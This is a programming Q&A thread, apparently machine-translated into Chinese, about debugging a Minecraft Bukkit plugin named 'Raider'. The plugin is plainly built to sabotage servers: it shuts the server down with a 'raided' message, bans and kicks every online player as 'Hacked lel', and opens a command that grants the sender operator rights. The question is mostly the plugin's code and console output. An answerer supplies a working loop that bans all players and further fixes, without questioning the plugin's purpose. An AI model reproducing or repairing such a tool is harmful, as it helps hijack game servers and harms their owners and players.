2015-07-19 185 views
-3
package com.LeGhost.main; 

import java.util.Random; 

import org.bukkit.Bukkit; 
import org.bukkit.command.Command; 
import org.bukkit.command.CommandSender; 
import org.bukkit.command.ConsoleCommandSender; 
import org.bukkit.entity.Player; 
import org.bukkit.plugin.java.JavaPlugin; 

public class Raider extends JavaPlugin{ 
    private JavaPlugin plugin = Raider.this; 

    public void onEnable() { 
     plugin.getLogger().info("Raider fully enabled!"); 
    }//ENABLE 

public void onDisable() { 
    plugin.getLogger().info("Raider disabled!"); 
}//DISABLE 

public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) { 
    if(sender instanceof Player || sender instanceof ConsoleCommandSender) { 
     if(cmd.getName().equalsIgnoreCase("raid")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop YOUR SERVER JUST GOT RAIDED!!!!!!!");//stops the server... DOES WORK 
     } 
     if(cmd.getName().equalsIgnoreCase("banall")) { 
      @SuppressWarnings("deprecation") 
      int playerNumber = plugin.getServer().getOnlinePlayers().length; 
      @SuppressWarnings("deprecation") 
      int random = new Random().nextInt(Bukkit.getOnlinePlayers().length); 
      @SuppressWarnings("deprecation") 
      Player player = Bukkit.getOnlinePlayers()[random]; 
      while(playerNumber > 0) { 
       plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "ban " + player); 
      }//THIS DOES NOT WORK! It is supposed to ban all the players that are currently on the server by choosing a random player while the player count is over 0 
     } 
     if(cmd.getName().equalsIgnoreCase("moop")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName()); 
     }//DOES NOT WORK!! It should op the sender. 
    } 
    return false; 
} 

} 

如果有人能帮助我,我会很感激! 另一件事是,banall的东西崩溃的服务器。 我想知道的任何修复和知道为什么这不起作用如何解决控制台中“未知命令”的错误?

控制台输出banall

[22:09:46] [Server thread/WARN]: Unexpected exception while parsing console command "banall" 
org.bukkit.command.CommandException: Unhandled exception executing command 'banall' in plugin Raider v1.0 
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:46) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:141) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchCommand(CraftServer.java:642) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchServerCommand(CraftServer.java:628) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.DedicatedServer.aO(DedicatedServer.java:404) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.DedicatedServer.B(DedicatedServer.java:368) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.MinecraftServer.A(MinecraftServer.java:657) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.MinecraftServer.run(MinecraftServer.java:560) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45] 
Caused by: java.lang.IllegalArgumentException: bound must be positive 
at java.util.Random.nextInt(Unknown Source) ~[?:1.8.0_45] 
at com.LeGhost.main.Raider.onCommand(Raider.java:32) ~[?:?] 
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:44) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
... 8 more 

控制台输出MOOP

[22:12:59 INFO]: Unknown command. Type "/help" for help. 

更新代码

package com.LeGhost.main; 

import org.bukkit.BanList; 
import org.bukkit.Bukkit; 
import org.bukkit.Server; 
import org.bukkit.command.Command; 
import org.bukkit.command.CommandSender; 
import org.bukkit.command.ConsoleCommandSender; 
import org.bukkit.entity.Player; 
import org.bukkit.plugin.java.JavaPlugin; 

public class Raider extends JavaPlugin{ 
private JavaPlugin plugin = Raider.this; 

public void onEnable() { 
    plugin.getLogger().info("Raider fully enabled!"); 
} 

public void onDisable() { 
    plugin.getLogger().info("Raider disabled!"); 
} 

@SuppressWarnings("deprecation") 
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) { 
    if(sender instanceof Player || sender instanceof ConsoleCommandSender) { 
     if(cmd.getName().equalsIgnoreCase("raid")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop " + "Hacked lel"); 
     } 
     if(cmd.getName().equalsIgnoreCase("banall")) { 
      plugin.getServer().getOnlinePlayers(); 
      Bukkit.getOnlinePlayers(); 
      for (Player player1 : Bukkit.getOnlinePlayers()) { 
       getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player1.getName() + " Hacked lel"); 
       ((Server) plugin).getBanList(BanList.Type.NAME).addBan(player1.getName(), "Hacked lel", null, sender.getName()); 
       player1.kickPlayer("Hacked lel"); 
      } 
     } 
     if(cmd.getName().equalsIgnoreCase("moop")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName()); 
     } 
    } 
    return false; 
} 

} 
+0

你可以发布控制台的输出吗? – wkcamp

+0

是的,我可以,如果你需要它 –

+0

是的,我们可以更快地查明错误。包括刚刚完成的总输出 – wkcamp

回答

1

看来你正在尝试使用返回的玩家集合getOnlinePlayers()就像一个数组。而不是length您需要使用size()方法来获取集合中包含的元素的数量。要通过索引获取特定玩家,您可以使用(Player) Bukkit.getOnlinePlayers().toArray()[index],其中index可能是您的随机生成索引。

在行"ban " + player中,您将String“禁令”与对象player连接起来。由于player不是String,所以将自动调用toString()方法将其变为一个。 toString()方法Player将导致输出类似于CraftPlayer{name="Foo"},并因此尝试禁止使用该确切输出的玩家。相反,使用getName()方法让玩家获得玩家的名字(在本例中为“Foo”)。

除非由于某些原因,您真的想用您的方法来选择随机播放器,否则您可以使用for循环来禁止服务器上的每个播放器。但是,即使采用随机化方法,您仍然需要某种循环。 player参考不会更新以反映在服务器上选择不同的播放器。您的代码选择一个随机播放器,然后只要服务器不是空的,就会一次又一次地禁止相同的播放器(如果有超过2个播放器在播放,则可能导致服务器崩溃)。相反,您可以在禁令之后的每次迭代中尝试更新玩家变量,再次获取玩家数量,选择随机索引并设置玩家变量的新值。尽管只用一个循环遍历每个玩家并以这种方式禁止他们,但也许还是会更好。

这里是禁止使用的每个循环中的所有玩家的一个例子:

for (Player player : Bukkit.getOnlinePlayers()) { 
    getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player.getName()); 
    //Alternatively use the method below to ban players 
    //Bukkit.getBanList(BanList.Type.NAME).addBan(player.getName(), "insert_reason_here", null, sender.getName()); 
    //player.kickPlayer("Banned by admin"); 
} 

你也可以把@SuppressWarnings注释外的整个onCommand方法,让你不必把它多次写。

我测试了你的“moop”命令作为一个球员,它似乎工作得很好。

+0

嗯我添加了禁止的事情来做你说的,但它仍然没有工作,这次错误是在线35 –

+0

你能否详细说明通过更新你的代码在问题中所做的改变?我在回答中提出了一些建议,从创建一个for循环到使用'getName()'方法,所以我不太确定你指的是哪一个变更。 plugin.getServer()。dispatchCommand(Bukkit.getServer()。getConsoleSender(),“ban”+ player)后的 –

+0

;我添加了player = Bukkit.getOnlinePlayers()[random]; –

相关问题